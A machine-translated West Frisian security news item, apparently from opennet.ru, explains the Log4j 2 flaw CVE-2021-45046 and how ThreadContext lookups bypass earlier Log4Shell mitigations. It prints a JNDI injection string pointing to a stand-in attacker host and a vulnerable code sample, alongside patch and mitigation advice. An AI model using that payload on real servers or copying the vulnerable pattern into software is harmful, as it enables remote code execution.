In oare kwetsberens is identifisearre yn 'e ymplemintaasje fan JNDI-opsykjen yn' e Log4j 2-bibleteek (CVE-2021-45046), dy't ferskynt nettsjinsteande de fixes tafoege yn release 2.15 en nettsjinsteande it gebrûk fan 'e "log4j2.noFormatMsgLookup" ynstelling foar beskerming. It probleem is gefaarlik benammen foar âldere ferzjes fan Log4j 2, beskerme mei de flagge "noFormatMsgLookup", om't it it mooglik makket om beskerming tsjin eardere kwetsberens (Log4Shell, CVE-2021-44228), wêrtroch jo jo koade kinne útfiere op 'e tsjinner. Foar brûkers fan ferzje 2.15 is eksploitaasje beheind ta it feroarsaakjen fan de applikaasje om te crashen fanwegen útputting fan beskikbere boarnen.
De kwetsberens ferskynt allinnich op systemen dy't Context Lookups brûke foar logging, lykas ${ctx:loginId}, of MDC-sjabloanen (Thread Context Map), lykas %X, %mdc, en %MDC. Operaasje komt del op it meitsjen fan betingsten foar it útfieren fan gegevens dy't JNDI-ferfangings befetsje nei it log by it brûken fan kontekstfragen of MDC-sjabloanen yn 'e applikaasje dy't de regels definiearje foar opmaak fan útfier nei it log.
Undersikers fan LunaSec merkten op dat foar ferzjes fan Log4j minder dan 2.15, dizze kwetsberens kin brûkt wurde as in nije fektor foar in Log4Shell-oanfal, dy't liedt ta koade-útfiering, as ThreadContext-útdrukkingen dy't eksterne gegevens omfetsje wurde brûkt yn 'e logútfier, nettsjinsteande oft de "beskermje" flagge is ynskeakele. noMsgFormatLookups" of it sjabloan "%m{nolookups}".
It omgean fan de beskerming komt del op it feit dat yn stee fan direkte ferfanging fan "${jndi:ldap://attacker.com/a}", dizze útdrukking wurdt ferfongen troch de wearde fan in tuskenfariabele brûkt yn 'e regels foar opmaak fan logútfier . Bygelyks, as de kontekstfraach ${ctx:apiversion} brûkt wurdt by it útfieren nei it log, dan kin de oanfal útfierd wurde troch de gegevens "${jndi:ldap://attacker.com/a}" te ferfangen yn de wearde skreaun nei de apiversion fariabele. Foarbyld fan kwetsbere koade: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd UU:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) {// De HTTP-headerwearde "X-Api-Version" wurdt trochjûn oan de ThreadContext ThreadContext.put("apiversion ", apiVersion ); // By it oanmelden sil de eksterne apiversion-wearde ferwurke wurde mei de substitúsje ${ctx:apiversion} logger.info ("In fersyk foar API-ferzje ûntfongen"); werom "Hallo, wrâld!"; }
Yn Log4j ferzje 2.15 kin de kwetsberens brûkt wurde om DoS-oanfallen út te fieren by it trochjaan fan wearden nei de ThreadContext, wat resulteart yn in lus yn 'e útfier opmaak-sjabloanferwurking.
Om de kwetsberens te blokkearjen, waarden updates 2.16 en 2.12.2 publisearre. Yn 'e Log4j 2.16-tûke, neist de reparaasjes útfierd yn ferzje 2.15 en de bining fan JNDI LDAP-oanfragen oan "localhost", is JNDI-funksjonaliteit standert folslein útskeakele en stipe foar sjabloanen foar berjochtferfanging wurdt fuortsmiten. As in oplossing foar befeiliging wurdt suggerearre om de JndiLookup-klasse fan it klassepaad te ferwiderjen (bygelyks "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Jo kinne it ferskinen fan fixes yn pakketten folgje op 'e siden fan distribúsjes (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) en Java-platfoarmfabrikanten (GitHub, Docker, Oracle, vmWare, Broadcom en Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ensfh.).
Boarne: opennet.ru